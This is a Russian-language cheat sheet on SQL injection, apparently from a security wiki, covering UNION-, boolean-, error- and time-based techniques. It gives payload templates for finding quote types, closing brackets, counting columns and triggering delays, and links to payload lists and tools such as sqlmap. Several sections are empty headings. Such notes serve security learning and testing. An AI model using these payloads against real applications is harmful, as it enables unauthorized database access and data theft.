Sqlinj
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:
FROM dual
Итоговый запрос
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.
Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Boolean-Based
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
Определение типа кавычки
Смотри соответствующую графу в UNION-Based.
Итог
На всякий случай подтвердим, как будет выглядеть итоговый запрос
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
А далее остается добавить ваше условие:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
Особенности
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
Если целое число, то то же самое, но без функций.
Error-Based
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).
В случае с Blind-UNION
Это когда смог подобрать количество колонок, но не видишь свои поля на экране.
Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.
Запрос с UNION выглядит следующим образом:
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).
В случае с Boolean-Based
Общий запрос Boolean-Based выглядит, как:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.
Time-Based
Поиск параметров
В случае с Time-Based требуется угадывать два параметра за раз:
1. Подбор типа кавычки (см. Union-Based) 2. Подбор функции задержки времени
Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:
SLEEP(time)
BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
waitfor delay '00:00:10'
dbms_lock.sleep(5)
Запрос во время подбора будет выглядеть как:
{параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1
После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.
Подробнее на определенных страницах СУБД (ниже ссылки).
Особенности эксплуатации
В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).
Auth
INSERT
Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html